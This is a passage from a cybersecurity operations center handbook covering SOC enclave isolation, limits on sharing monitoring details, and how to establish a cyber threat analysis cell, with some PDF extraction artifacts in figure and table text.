Transceiver “Trio” RXTX Cu RXTX CuRXTX Cu Passive Sensor T en Strategies of a World-Class Cybersecurity Operations Center213 likely part of a forest. One of the most common goals for an attacker is to gain privileged domain rights, possibly through a domain administrator account. This allows an attacker to move laterally across any system that is a member of the domain or administered from the domain. Any aspect of the SOC’s mission operating on these domains presents a very serious risk. Consider a SOC that operates a fleet of IDS sensors and SIEM. It is fair to assume that the APT with domain administration privileges can install keyloggers and RATs on any system on the constituency domain. Even if SOC IDSes and SIEM systems are not joined to the domain, they may still be compromised if analysis and maintenance is performed from desktops that are. As a result, we arrive at a key recommendation: Never join SOC monitoring infrastructure, sensors, analyst workstations, or any other SOC equipment to the general constituency’s Windows domain. Many SOCs follow this rule: Any aspect of the SOC mission or its data that flows across systems that are joined to the constituency Windows domain should be considered com - promised. The SOC is considered the “inner keep” of the constituency castle and should be the least likely asset to be compromised. As a result, the SOC must be even more vigilant in securing its systems against compromise. This often means shortened patch cycles and a robust security architecture. Modern IT enterprises leverage centralized system administration and user authen- tication for a reason; so should the SOC. Many SOCs operate their own out-of-band net - work—the SOC enclave—with its own independent Windows domain. In heavy UNIX/Linux environments, they may choose to leverage an equivalent (e.g., centralized LDAP, Kerberos, or Network Information Service [NIS]). This centralized user management can also be extended to the monitoring technologies (IDS, etc.) in other physically disparate locations. Taken to the extreme, some SOCs may actively choose not to join some domain authentication-enabled SOC systems to the SOC domain, as an extra measure against inter - nal sabotage. Even if the SOC domain went down, would analysts still be able to log into IDS consoles? Having emergency use-only local user accounts with different user names and passwords as the Windows domain is always a good idea. Typically, each analyst will have at least two desktop systems at hand: one workstation for CND monitoring and one standard enterprise desktop for email, Web browsing, and business functions. Where a SOC maintains watch over several disparate networks, ana-lysts may have multiple workstations with a keyboard, video, and mouse (KVM) switch, or access through multilevel desktop systems or browse-down capabilities. Maintaining 214 this separation introduces some inconvenience for the SOC analyst, but this is outweighed by maintaining the highest level of integrity. One way or another, the analyst must have access to three things: (1) monitoring tools, (2) constituency network(s), and (3) the Internet (per Appendix F ). We’ve established the need for an independent domain of trust for the SOC. How do we leverage monitoring tools at disparate locations while keeping them logically separate from the rest of the constituency? Before examining various options, here are some questions to consider:What is the general cybersecurity posture of the rest of the constituency? ‚Is malware running rampant? ‚How well maintained are general user systems and networks? If the SOC depends on a general pool of IT resources and sysadmins, will they become a liability? ‚What proportion of the user population has special system privileges, putting them in a position to gain unauthorized access to SOC systems that aren’t strongly separated from the constituency? How many different geographic locations will likely have to host monitoring technologies such as network sensors or log aggregators? ‚If it’s just one or two places, isolating monitoring equipment from the enterprise can be relatively simple. ‚If the SOC has to put IDSes in 15 different countries, the approach will have to be highly scalable and more cost sensitive. What kinds of logical separations are already in use and can they be trusted? ‚What WAN technologies (MPLS, Dynamic Multipoint Virtual Private Network [DMVPN], ATM, VRF/GRE, etc.) that allow logical separation of assets based on trust domain are core competencies of the constituency? What are their relative strengths and weaknesses? ‚How securely are the WAN and LAN segments administered? Is router administration done via in-band telnet with generic passwords, or is there an out-of-band manage - ment network used exclusively for router administration with SSH connectivity and TACACS running two-factor authentication? ‚Or is the constituency run on a completely flat, Internet-connected network? ‚Are the firewalls trustworthy enough to hang the SOC network off one leg without further protections? ‚Is the SOC collocated with network operations so that there’s increased trust and com-munication in their ability to manage SOC network infrastructure?Protect the SOC Mission T en Strategies of a World-Class Cybersecurity Operations Center215 What equipment comprises most of the SOC’s remote monitoring capabilities? ‚FOSS monitoring technologies running on FOSS OSes (e.g., Linux or BSD) come with a number of native encryption capabilities, such as stunnel. ‚If the SOC has a number of Windows systems or appliances remotely deployed, what options does the constituency network team offer to transport SOC data back in a protected manner? What proportion of the SOC’s monitoring assets must operate in band? ‚Does the SOC plan to support a widespread deployment of HIPS or NIPS? ‚Can the SOC rely mostly on passive NIDS sensors, with select placement of IPS devices? How much money does the SOC have? ‚Can it afford to purchase (and potentially manage) separate networking infrastruc - tures such as switches, routers, and firewalls? If there are multiple ops floors, does it make sense to own and maintain encryption devices (e.g., VPN) between them? Can the SOC trust the network shop to administer these devices? ‚If the SOC has to deal with multiple independent zones of trust, what are the costs associated with the placement of monitoring equipment and the SOC enclave? Can the SOC afford to maintain a presence on each? In reality, this is not a terribly complex decision to make, and most SOCs follow a number of similar patterns. Well-resourced SOCs usually establish their own enclave that is firewalled off from the rest of the constituency. Ideally, they are able to leverage the fol - lowing best practices when constructing their monitoring network: ‚The SOC has its own Windows or Linux workstations used for general monitoring and analysis, usually bound together as a Windows domain that has no trust relationship with the rest of the constituency. ‚Malware detonation, reverse engineering, forensics, or other high-risk activities are performed on isolated/stand-alone systems or virtualized environments. ‚Assets local to the SOC (such as all ops floor systems) connect through network switches and other infrastructures that are completely separate from the constituency. ‚The SOC’s local systems are protected from the rest of the constituency by a modestly sized COTS or FOSS firewall. ‚All passive network sensors are separated by receive-only cables hanging off switch SPANs or network taps. ‚Local network sensors are connected directly to SOC network switches. 216 ‚Network sensors at sites with only a handful of SOC devices are managed through SSL/TLS–encrypted tunnels such as stunnel [244], software VPN, or vendor-provided encryption schemes. ‚If there are several remote sites with a dozen or more pieces of monitoring equip - ment (IDSes, log collection servers, etc.), the SOC sometimes may choose to put them behind a hardware VPN concentrator. This establishes a VPN tunnel back to a concen - trator near the SOC ops floor, providing a single tunnel for all management protocols and enhanced protection. ‚Host instrumentation such as HIPS is managed by a central management server, potentially residing within the SOC enclave with a hole punched through the SOC firewall. ‚Network traffic (PCAP), log, event, and case data reside on NASes or a modest SAN devoted to the SOC, not shared with the constituency. It should be noted that even if SOC analysis systems are placed out of band, we shouldn’t forget about systems that are frequently used for analyst-to-analyst collaboration (e.g., webcams, instant messaging chat, wikis, or, perhaps, even VoIP phones). Imagine, for instance, an APT that is listening in to the SOC’s VoIP calls and learns that it has been detected. While this example may be far-fetched, it is certainly plausible and is something the SOC should consider when designing guidelines for how remote analysts collaborate. One thing to note is that it may be tempting for the SOC to hang its equipment directly off general constituency network switches, with only VLAN separation. This is not recom-mended, for two reasons: (1) VLAN hopping [245] can circumvent this, and (2) accidental misconfiguration, compromise, or sabotage of these switches would open a backdoor to SOC systems, circumventing any kind of in-place firewall protection. These best practices are depicted in Figure 30.This architecture is optimal for medium to large SOCs that have a dedicated adminis - tration team. Smaller SOCs may have to take shortcuts such as comingling their assets on general constituency networks. Tiered and distributed SOCs can also leverage this architec - ture by adding combination VPN concentrators/firewall devices at remote sites where small teams of analysts reside. They also may choose to place log aggregation devices in band and then feed some or all of that log data to the SOC’s out-of-band systems. In protecting the SOC enclave, there are some additional controls that should be observed: ‚SOC sysadmins maintain top-notch vigilance with patching SOC systems and updat - ing sensor signature patches. ‚The SOC’s analysis environment is on a platform that is more resistant to malware infections than general constituency workstations. “Sandboxing” routine analysis Protect the SOC Mission T en Strategies of a World-Class Cybersecurity Operations Center217 functions through virtualization or on a non-Windows OS may help, understanding that usability and workflow must not be hindered. ‚SOC sysadmins and analysts avoid use of shared user accounts, especially for privi - leged access, understanding the following: • The ultimate goal is to support attribution of privileged actions to a specific user in the unlikely event of configuration errors, compromise, or sabotage. • It is very hard to remember a different password for each disparate system. • Tying authentication to the domain for every type of device usually isn’t possible. • Some general monitoring systems such as those projected on big screens on the ops floor will require generic accounts. • It may be best to strictly limit use of generic “root” or “administrator” accounts to emergency situations, whereas, normally, all sysadmins have their own account with administrator roles or rights. ‚SOC equipment is under tight physical control. • The SOC has its own physical space with limited proximity badge access. • Local SOC equipment is in a SOC-controlled server room, server cage within the local server room, or at least in racks that close and lock with non-generic keys.Figure 30 P rotected SOC ArchitectureRemote network sensorsEncrypted sensor management trafficSPANs w/receive only SPANs w/receive onlyRemote monitorednetwork Remote monitorednetwork Log aggregation nodeVPNconcentratorSOC SAN SOC users Local sensorsSIEM Constituency WANbackhaul links LocalconstituencynetworkAnalysis workstationsSOC enclave switch(es)Case dataPCAPlogs SOC firewall & VPN terminator Host & networksensormanagement 218 ‚There is robust (but not overzealous) logging for all SOC systems, such as sensor management servers, domain controller(s), and firewall(s). ‚Both SOC sysadmins and a third party regularly review SOC logs for any evidence of external compromise, sabotage, or infection, thereby addressing the question, “Who watches the watchers?” ‚The SOC may choose to use a different or more robust AV/anti-malware package than the rest of the constituency. ‚Appropriate levels of redundancy are built into key systems such as sensor manage - ment servers, network switches, and log aggregation servers. The SOC may wish to establish a COOP capability as described in Section 4.3.5 . 10.3 S ources and Methods A SOC must interact with many other organizations. In order to gain their trust, a certain level of transparency is necessary. Giving the right people a sense of how a SOC gets the job done breeds respect and acceptance. However, there are some pieces of information that should not be shared with anyone outside the SOC without a compelling need. For instance, were an adversary to obtain a list of monitoring point locations, it would then understand where there isn’t coverage, allowing it to avoid detection. SOCs get requests from external stakeholders on a semi-regular basis for lists of their IDS tap points. Blanket requests for such information demonstrate a lack of sensitivity and aware - ness on the requestor’s part to the realities of CND. The more people the SOC shares this information with, the more likely it is to end up posted on an Internet website or found on a compromised server. In Table 20, we examine common pieces of information shared by the SOC and some likely circumstances under which it should and should not be released.Protect the SOC Mission T en Strategies of a World-Class Cybersecurity Operations Center219 Table 20 S haring Sensitive Information What Who Gets Access and Why Monitoring architecture. High-level depiction of how the SOC monitors the constituencyMajor IT and cybersecurity stakeholders such as constit - uency executives, security personnel, partner SOCs, and others listed in Table 25 (Appendix A) Monitoring tap points. Exact loca- tions of sensor taps and full details on how they’re protectedNo one outside the SOC except those who maintain or deploy sensors, if this function is separate Monitoring hardware/ software versions, patch levelNo one outside the SOC except those who maintain or deploy sensors, if this function is separate Network mapsOrganizations with a need to understand the shape/ nature of the consistency network, such as IT ops, net - work administration, or the offices of CIO/CISO Vulnerability lists and patch levels (scan results)Those who have purview over the vulnerability status of the constituency, including sysadmins, ISSMs, or CIO/ CISO SOC system and monitoring outagesThose directly above the SOC in its management report - ing chain, such as the CISO or head of IT operations Observables, indicators, and TTPs, including IDS signatures and SIEM contentExternal organizations (such as partner SOCs), with some potential exclusions for extra-sensitive signatures or insider threat indicators Major incidents (possibly in progress)Those directly above the SOC in its management report - ing chain, possibly the CISO, in accordance with legal or statutory reporting requirements, such as with a national SOC Incident details, including person-ally identifiable informationThe appropriate investigative body, such as law enforce-ment or legal counsel Incident roll-up metrics and les- sons learnedThose directly above the SOC in its management report - ing chain, possibly the CISO or CIO SOC incident escalation CONOPS and flowchartAny interested constituents Audit logs for non-SOC assetsIndividuals assigned the responsibility for monitoring IT asset audit records, such as sysadmins and security personnel Raw security events (e.g., IDS alerts)Under rare circumstances, select parties within the con-sistency (e.g., TAs) can help support CND monitoring because of their extensive knowledge of local systems and networks. 220 Ideally, all of this data should be located exclusively in the SOC’s enclave. Many SOCs will host a website that may include a protected/authenticated portion where some sensi - tive documents will be posted, such as the incident escalation flowchart or network maps. Considering the secrecy inherent in enterprise-class CND, the SOC is encouraged to provide some details of how it executes the CND mission to the constituency. Sharing information about the types of techniques used—without giving away the “secret sauce” on exactly how it’s done—will go a long way toward building trust with interested parties. The SOC is advised to share some details with select constituents about its TTPs for spot - ting external adversaries. This presents a lower risk than sharing details about its insider threat program. Even high-level architecture diagrams are okay to share on a limited basis, so long as device details (e.g., IP addresses, host names, and software revisions) are removed. Moreover, when the SOC demonstrates forward-leaning, robust capabilities, it informs users that their actions are indeed being monitored. This may potentially ward off some miscreant activity. The key, though, is not disclosing so much that a malicious user knows how to circumvent monitoring.Protect the SOC Mission 221Chapter 11 Stra tegy 9: Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence The rise of the APT [246] renders traditional network defense techniques inadequate. Static methods and tools such as system patching, firewalls, and signature-based detection, by themselves, are not enough to defend against client-side attacks and custom-built malware. In order to level the playing field, the defender must orient his mind-set and capabilities to a dynamic, threat-based strategy. Analysts must consume, fuse, produce, and trade information about the adversary on an ongoing basis. This new trade in cyber threat intelligence has led to the creation of a new entity, the Cyber Threat Analysis Cell (CTAC), specially geared toward defending against the APT by maximizing the development and use of cyber threat intelligence across the cyber attack life cycle. 1 In our ninth strategy, we discuss how SOCs may stand up a CTAC. It discusses the mission, resources, deliverables, and costs associated with CTAC operations. It also provides a roadmap for creating a CTAC, and ref - erences to resources with supporting information. Even if the SOC doesn’t contain a CTAC, it may regularly consume, fuse, and redistribute cyber threat intelligence; we cover this topic as well. 1 D efinition of the cyber attack life cycle, also known as the cyber kill chain, is consistent with [52] . 222 11.1 W hat Is a Cyber Threat Analysis Cell? A CTAC is a team composed of advanced security analysts organized to detect, deny, dis - rupt, degrade, and deceive the APT. 1 Its existence presupposes the existence of a routine cybersecurity monitoring and incident response capability, such as a SOC. A CTAC depends on the capabilities of—and is part of—a SOC. Operating the CTAC enables the SOC to be a sophisticated consumer and producer of cyber threat intelligence (often shortened to “cyber intel”). While addressing the APT is the primary interest of a CTAC, its TTPs enhance all aspects of a SOC’s capabilities. A desig - nated group within the SOC may be considered a CTAC if it routinely performs all five of the following core functions: ‚Extraction of indicators of compromise , through a combination of digital artifact examination, static code analysis and reverse engineering, runtime malware execu - tion, and simulation techniques ‚Routine ingest of cyber threat intelligence reporting and news from a variety of sources ‚Fusion of locally derived and externally sourced cyber threat intelligence into signa- tures, techniques, and analytics intended to detect and track the APT ‚Active participation in cyber intelligence threat-sharing groups , typically composed of other SOCs in a similar geographic region, similar supported organizations and industries, or both ‚Advanced incident analysis and response support , such as digital forensics of memory and hard drive images. The CTAC often is composed of some of the SOC’s most experienced analysts. The rap - idly changing nature of APT TTPs often pushes a CTAC to perform the following additional functions: ‚Creating and tuning advanced analytics to detect complex or advanced attack pat - terns, such as those used to detect and track the APT in the SOC’s SIEM tool ‚Developing focused, finely scoped custom tools that better enable the CTAC to detect, observe, contain, or block the APT at different stages of the cyber attack life cycle ‚Operating and populating a threat knowledge management capability , allowing SOC analysts to connect disparate but related adversary activity, incidents, indicators, and artifacts ‚Trending and reporting on activity and incidents attributed to the APT 1 T his definition follows that of a CSIRT in [42] and [43] , and courses of action mentioned in [52] .Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence T en Strategies of a World-Class Cybersecurity Operations Center223 ‚Hunting for the presence of the APT on monitored networks, such as through tar - geted monitoring efforts or “sweeping” for indicators that strongly correlate with APT activities ‚Honeypotting and other methods that allow the CTAC to observe the adversary in situ. While the CTAC must maintain keen awareness of myriad threats that reside all over the Internet, its response actions are defensive in nature and are limited to the scope of systems it is asked to defend. Offensive “hack back” type actions are outside the scope of what the CTAC performs. Where appropriate, the CTAC should cultivate a good working relationship with entities empowered to perform cyber investigations and potentially direct responses against adversaries, such as some types of law enforcement. 11.2 W hat Does It Provide? Operating a CTAC provides a number of primary, first-order benefits, and many more sec - ond-order impacts that enhance cybersecurity for the entity it serves. They are as follows: 11.2.1 P rimary Impacts ‚Higher confidence in the efficacy and completeness of incident response actions ‚Decreased proportion of APT attacks that are successful ‚Decreased time the adversary is able to maintain presence without being detected ‚Deeper threat awareness through direct knowledge of adversary TTPs throughout the cyber attack life cycle ‚Enhanced SA through more informative and more thorough threat and incident reporting ‚Increased context and link between incident activity and mission impact. 11.2.2 S econdary Impacts ‚Focused, higher impact use of cybersecurity resources (time, funding, talent, organi - zational political capital, and will) on threat-focused prevention, sensoring, analytics, and response capabilities ‚Simpler, faster SOC service delivery through reduced reliance on external parties that perform malware and forensic analysis ‚Improved morale, stemming from sense of fraternity and fellowship with partner SOCs ‚Better attraction and retention of SOC personnel through expanded career advance - ment and membership in a world-class capability ‚Increased differentiated value in contrast to other cybersecurity stakeholders 224 ‚Greater value and return on investment of all SOC service offerings through “trickle down” of CTAC expertise and lessons learned to other areas of cybersecurity operations ‚Increased stakeholder responsiveness due to SOC’s ability to articulate meaning of adversary activities in context of mission, and confidence in efficacy of response actions ‚Substantial savings of effort by leveraging solutions and cyber threat intelligence from partner SOCs ‚Enhanced awareness of organization’s threat profile and likely targets of adversary attack ‚Increased insight into gaps in SA and complementary motivation to fill those gaps. 11.2.3 P otential Work Products Each CTAC produces a set of deliverables and artifacts on a routine basis. Some of these deliverables are easily recognized briefings or papers, whereas others take the form of inputs to an online knowledge base or updates to tools or technologies used by the CTAC. Table 21 lists some of the written artifacts a CTAC is likely to produce. Any of these work products that are meant for external consumption constitute the cyber intel that the CTAC produces. Cyber intel is defined as formal or informal information and reports from SOCs, CTACs, commercial vendors, independent security researchers, and independent security research groups that discuss information about attempted or successful intru - sion activity, threats, vulnerabilities, or adversary TTPs, often including specific attack indicators. In addition to traditional, written artifacts, the CTAC is likely to apply substantial efforts toward non-traditional tangibles that are also worthy of recognition, such as those in Table 22. 11.3 H ow Does the CTAC Integrate into IT and Security Ops? In order for the CTAC to be successful, it must work hand in hand with every part of the SOC, and with a number of stakeholders outside its parent SOC. The CTAC, by itself, has very few tools to detect and track the APT, and even fewer to respond to the APT. It is heav - ily dependent upon the sensoring and analytical tools furnished by the SOC, and the block - ing/response capabilities and responsibilities vested in other areas of IT operations.Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence T en Strategies of a World-Class Cybersecurity Operations Center225 11.3.1 I nside the SOC For each part of the SOC, the CTAC has a responsibility to provide timely SA regarding the TTPs, activities, and impacts of adversary activity. In exchange, each section of the SOC must enable the CTAC’s mission in different ways, as detailed in Table 23.Table 21 CTAC Artifacts What DiscussionTypical Frequency Case tracker notes and reportingIncidents that are targeted in nature or are related to a known APT may be referred to the CTAC for in-depth analysis. The CTAC’s work - ing notes, activities, recommended follow-up, and other analyst-to-analyst communications are recorded in the SOC’s incident case tracking capability.Daily-Weekly Formal inci-dent write-upsParticularly notable incidents handled by the CTAC may deserve for - mal documentation or presentation outside the scope of what is cap-tured in the SOC’s incident tracking capability. This may take the form of presentations, written reports, or sometimes both, authored by the CTAC or co-authored by the CTAC and SOC incident responders.Monthly-Quarterly Cyber threat tipperShort, timely information “tipped” to a cyber threat sharing group within minutes or hours of identifying activity as likely relating to a targeted intrusion attempt. The information may be as simple as the sending email address, subject, and attachment names for a spear phish or URLs for a drive-by download, or it may include preliminary malware analysis, such as callback IP addresses, domains, file hashes, persistence mechanisms, and sample beacon traffic.Daily-Weekly Short-form malware reportTwo- to four-page report that provides some indicators and infor - mation regarding an observed piece of malware. Usually stems from malware that took one or two days of static or dynamic analysis to understand.Weekly-Monthly Long-form malware reportThree-plus-page report that provides detailed indicators and report - ing on an observed piece of malware. Generally stems from a deep-dive reverse engineering effort that took several days or weeks to accomplish. Typically includes a full description of the malware sam-ple’s functionality, any encryption used, and its network protocols used for command and control. It may include additional tools and tech-niques developed alongside the analysis, such as malware network protocol decoders, and ways to unpack and extract encryption keys and other indicators from malware samples within the same family.Monthly-Quarterly Adversary and campaign reports and presentationsBriefs that discuss the TTPs, intent, activity seen, incidents, etc., stem - ming from a named adversary or adversary campaign. Usually strings together activity seen from multiple incidents and/or several months of reporting.Monthly-Quarterly 226 Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence Table 22 Other CTAC Work Products What DiscussionUpdate Frequency Malware analysis and forensics environmentIn order to understand the nature of suspected malware, the CTAC will require an environment in which to perform static decomposi-tion/disassembly and runtime execution/simulation of malware. This environment is solely used by the CTAC, requires a set of very spe-cialized software, and usually is operated on a set of hosts or a small network that is well isolated from all other computing resources. As a result, the CTAC must be responsible for maintaining and updating the capabilities of this malware analysis environment.Monthly-Quarterly Threat knowl- edge manage- ment toolThe CTAC will require a means to track and link adversary activ-ity, campaigns, indicators, events, associated malware samples, and associated PCAP samples over time. This capability stands apart from the SOC’s incident case management system, but may support some integration with it. The CTAC is the primary author and cura- tor of content in this database; it may be used and referenced by all other analysts in the SOC. Daily-Weekly Indicator listsPart of the CTAC’s job is to aggregate various indicators of compro- mise (suspicious IP addresses, domains, email addresses, etc.) from external cyber intel reporting and its own malware reverse engineer - ing. These indicator lists are primarily used to generate signatures and other detection content in the SOC’s tool set (NIDS, SIEM, HIDS, etc.). They may also be housed inside—and generated from—the CTAC’s threat knowledge management tool.Daily-Monthly Sensing and analytics enhancementsAdministration and tuning of sensors and analytic systems, such as IDS and SIEM, are usually not the responsibility of the CTAC, but of sensor O&M within the SOC. However, it is sometimes most effi-cient for the CTAC to directly translate knowledge of the adversary into signatures or use cases. In such cases, the signature’s author in CTAC will likely work with sensor admins to document and opera-tionalize it.Weekly-Quarterly Custom tools or scriptsThe CTAC will notice gaps in its capabilities that cannot be satisfied through FOSS or COTS solutions. This is especially the case as the CTAC matures over time and has to deal with unique or particularly advanced threats. Quarantining and observing the adversary, pars-ing or simulating command and control traffic, or ingesting foreign sources of data into a tool are three examples where custom code may be needed. Custom tools are spun off on an irregular basis, usually developed very quickly, and don’t always reach full maturity before they are no longer needed.Irregularly; Monthly-Quarterly T en Strategies of a World-Class Cybersecurity Operations Center227 In contrast to SOC Tier 1 and Tier 2, the CTAC is not generally responsible for the “daily grind” of ticket handling and closure. When the CTAC is handed a case, it may very well stay open for weeks or months while analysts attempt to understand the malicious or anomalous activity of concern. Unlike Tier 2, the CTAC’s activities do not necessarily stem from a specific incident or alert. Members of the CTAC are expected to be self-starters, pro - actively looking for new ways to detect the APT across various stages of the cyber attack life cycle. The CTAC must work with the rest of the SOC on developing and continually refin - ing SOPs, especially regarding how the SOC’s tiered analysis personnel triage and process activity detected by CTAC-developed means. The CTAC is also responsible for ensuring that SOC analysts have sufficient contextual knowledge to understand and take correc - tive action. Finally, the CTAC should continually solicit feedback on the performance of CTAC-developed processes, tools, and detection capabilities, to reduce the risk of wasted resources on false positives. An agile defense must be mounted against the APT. Tools must correctly meet opera- tors’ needs, and go from concept to deployment in short order. To achieve this, it is neces - sary to bring the budget and personnel supporting SOC tool engineering and development directly into the SOC organization, consistent with the DevOps model [247] . This also allows the CTAC to become directly involved in tactical tool development and integration in a much cleaner, less politically contentious manner than if SOC tool engineering were located outside the SOC. Operating passive monitoring tools (such as IDSes) in a protected enclave will also allow the SOC to pursue the DevOps model with greater freedom.Table 23 CTAC Relationship to SOC Elements SOC Element Role SOC ChiefT op cover for any operations and initiatives that require it; upward reporting of important products and successes Tier 1Identification of activity that might be related to actors of interest to the CTAC, based off of CTAC-developed SOPs and CTAC-developed sensor rules, SIEM configurations, and similar technology; escalation of incidents requiring expertise or capabilities of the CTAC Tier 2Heavy lifting for all incident response activities; escalation of incidents requiring exper - tise or capabilities of the CTAC SOC engineeringBudgeting, acquisition, engineering, integration, and deployment of SOC tools and the SOC network enclave, including those that enable the CTAC mission, such as SOC work - stations, network sensors, host sensors, and SIEM SOC tools O&MDay-to-day management and sustainment of SOC tools and the SOC network enclave, including those that enable the CTAC mission 228 Be a Sophisticated Consumer and Producer of Cyber Threat Intelligence The SOC will have to carefully balance the needs for agility and responsiveness with those for security, stability, reliability, and maintainability. SOC leadership should put appropriate controls in place to prevent the SOC’s in-line prevention tools from unneces - sarily impacting availability. However, in some cases, particularly for SOCs within govern - ment or heavily regulated industries, existing security and IT policies may come into con- flict with the rapid development and deployment of custom-built and other non-traditional tools. This may require the SOC’s champions to fight for a highly responsive and flexible interpretation of traditional policy-oriented security and IT processes. 11.3.2 E xternal to the SOC In most cases, the CTAC’s relationship with parties outside the SOC should be indistinguish - able from that of its parent SOC(s). For instance, most users and the IT help desk probably don’t need to know that a CTAC exists; they just need to know that potential cybersecurity incidents should be referred to the SOC. Other parties, however, may recognize and inter - face with the CTAC directly, due to its special role in operations. These relationships are depicted in Figure 31 and discussed below. The CTAC’s intimate knowledge of the adversary will likely be of specific interest to IT and security executives, such as the parent organization’s CIO, CISO, and CSO. The SOC can probably expect that the CTAC will provide monthly or quarterly threat briefings to interested executives. Providing these briefs is important, even if they’re just informa-tional: it builds trust in the SOC and helps justify its budget. If the SOC’s parent organi - zation has any parties that must maintain strong awareness of cyber threats, such as an industrial counterespionage or counterintelligence shop, the CTAC should consider collabo - rating with those groups as well. The CTAC will also require direct liaison authority with IT and security personnel throughout the organization, particularly as it relates to incident response. When it comes to sharing cyber intel with other SOCs, the CTAC takes the lead. In some cases, this can be pair-wise sharing with one other SOC. However, nearly all CTACs participate in cyber threat intel sharing groups. These groups usually consist of a hand - ful to several dozen other SOCs with some common attribute—usually geographic region, nationality, or business function such as government, industry sector, or education. In all cases, these relationships are almost always heavily reputation based, brokered at the analyst-to-analyst level. There must be a mutual sense that each participating SOC has something to add and that indicators will be protected; standing up a CTAC is the best way to gain substantive entry to such sharing groups. The CTAC should also cultivate a relationship with relevant law enforcement organiza- tions empowered to investigate cyber crime. The SOC and its champions must ensure that T en Strategies of a World-Class Cybersecurity Operations Center229 the CTAC has direct liaison authority with these outside parties, with broad but clearly defined authority regarding collaboration and disclosure. During focused adversary engagements, it is the CTAC’s goal to gain intimate knowl - edge of the adversary in the context of the impacted systems, mission, data, and users. This usually requires ad hoc instrumentation of enclaves and hosts at the edge of the network, and potentially redirection of adversary activity. As a result, the CTAC will have Figure 31 C TAC and SOC Relationships to Other Organizations Peer SOCs Cyber Intel Sharing & Coordination Tier 1 • Call center • Realtime monitoring & triage Tier 2 • Incident analysis • Incident coordination & response • Insider threat case suppor t • Cyber inte l: collection & analysi s, distributio n, creatio n, fusion • Trending • Threat assessment • Malwa re analysi s Incident Detection & Response Coordination CIO & CISO Network Operations Center IT Help Desk Coordinating & National SOCs • SOC enclave O&M • Sensor tuning maintenance • Custom signature creation • Scripting & automatio n • Market research and acquisition • SOC tool engineering & deploymentSOC System Admin SOC Engineering System Owners & Admins UsersOther IT & Security StakeholdersSOC Chief CTAC 230 to maintain a close working relationship with system owners, sysadmins, and network operations for the duration of the engagement. Once again, this will also mean bringing in security and counterintelligence specialists, if they exist. 11.4 W hat Are the Prerequisites for Standing Up a CTAC? Before committing resources to creation of a CTAC, SOC managers must first assess their organization’s readiness for CTAC operations. In this section, we propose four questions that should help an organization recognize if the time is right to stand up a CTAC. If the answer to most or all of these four questions is a resounding “yes,” then the time is right. If not, then it may be a good idea to focus on more foundational IT operations and SOC capabilities before initiating a CTAC. 1. D oes the organization served have an in-sourced incident detection and response capability that: a. H as a defined set of users, sites, IT assets, networks, and organization(s) that it serves, known as its “constituency” b. C ollects information on cybersecurity incidents from users and various sen - sors and data feeds, performs in-depth analysis, and in turn performs various response actions c. D ocuments and tracks incidents using a COTS, FOSS, or custom incident track - ing capability d. H as separated incident monitoring, analysis, and response into two or more groups or “tiers” of increasing focus and capability? 2. I s the SOC empowered through appropriate authorities, procedures, and executive support to: a. R efrain from blocking adversary activity when necessary to understand the full scope of an intrusion and adversary techniques, tactics, procedures, and intent b. D irectly control allocation of budget for SOC tools and personnel c. R apidly acquire, budget, install, update, and tune a wide range of commer - cial, open source, freeware, and custom-developed tools across the constitu - ency in response to emerging threats and advances in defender and adversary technology d. D irect network operators to perform tactical blocking and redirection opera - tions, such as firewall or proxy rule changes, DNS blackholing, logically isolat - ing an end host, and quarantining malicious emails or email attachments e. O perate all of its non-in-line capabilities, such as passive network monitoring, SIEM, and incident case handling, in an out-of-band protected SOC enclaveBe a Sophisticated Consumer and Producer of Cyber Threat Intelligence T en Strategies of a World-Class Cybersecurity Operations Center231 f. C ollect, retain, and search various incident-related information such as full-ses - sion PCAP data, malware samples, and hard drives from compromised systems? 3. C an the SOC answer the following questions with respect to its constituency? a. W hat sources of data are of greatest value in finding initial indicators of mali - cious or anomalous activity b. W hat sources of data are of greatest value in running suspected malicious or anomalous activity to ground c. H ow many incidents are related to phishing, pharming, and direct attacks each month d. W hat is the meaning and disposition (true or false positive) for a random sam - pling of events from each major security-relevant data feed and sensor technol - ogy (NIDS, host-based AV, proxy AV, etc.) received by the SOC e. W hat are the major limitations in its visibility? 4. I s the SOC’s parent organization willing and able to expand the resourcing to its SOC, in an effort to answer the following questions? a. W hat organizations are behind suspected cyber intrusions and what is their intent b. H ow is the adversary activity seen by the SOC related to adversary activity observed by other organizations in similar lines of business or geographic region c. H ow can the SOC increase confidence that its steps taken toward incident response ultimately result in deterring or denying adversaries’ ability to achieve their objectives d. W hat is the impact of incidents to major lines of business or mission function? 11.5 W hat Do We Need and How Much Will It Cost? Assuming that the SOC has fulfilled the prerequisites for standing up a CTAC, most of the costs associated with operating a CTAC should already be recognized and budgeted. In this section, we break down the investments needed to add a CTAC capability to a SOC. 11.5.1 F oundational Capabilities For SOCs ready to stand up a CTAC, most large tool investments needed by a CTAC should already be in place; some may need to be extended or expanded. They are as follows: ‚Network IDS sensors capable of custom signature support, and full traffic capture (PCAP) in key places like Internet gateways, WAN uplinks, and firewall boundaries (See Section 8.2 .) 232 ‚A well-tuned SIEM tool that includes advanced real-time correlation and the ability to craft custom analytics (See Section 8.4 .) ‚Direct access to a variety of security-relevant data feeds, fed into SIEM or some other enterprise-grade log management solution with retention of the most recent 90 to 180 days of log data, preferably longer (See Section 9.2 .) ‚Host protection and sensor suites that include AV capabilities (See Section 8.2.9 .) ‚An out-of-band SOC enclave network that has no trust relationships with outside net - works, such that SOC analysis systems and SOC data are protected, even if the APT has an active presence on monitored networks. (See Section 10.2 .) After the standup of the CTAC, the SOC can expect that the operating and upgrade costs of these tools may remain the same or go up. The CTAC will likely identify gaps in tool functionality and new opportunities for enhancements that directly support its objec - tives, but will also directly benefit other parts of the SOC. Investment focus areas will likely include expanded sensor coverage, advanced analytics, and longer log and PCAP data retention. Examining existing tool capability gaps will help the SOC estimate the costs to meet the CTAC’s needs, even in advance of its standup. Here are some tips to consider when justifying these expenditures: ‚Enhanced capabilities requested were most likely necessary to fundamental SOC functions, even in absence of the CTAC; the formation of the CTAC just made their absence more acute. ‚Some capabilities, such as robust log generation and collection, are part of IT best practices or regulations that the constituency should already be following. ‚In cases where more of a given capability is needed, such as longer data retention or expanded sensor coverage, economies of scale, in combination with scheduled recapi - talization, could be used to drive down any perceived change in cost. ‚In resource-constrained environments, some SOCs may be driven to compile metrics in building a business case for certain capabilities, which can be very time-consum-ing; if at all possible, the easiest way to overcome this challenge is to leverage an 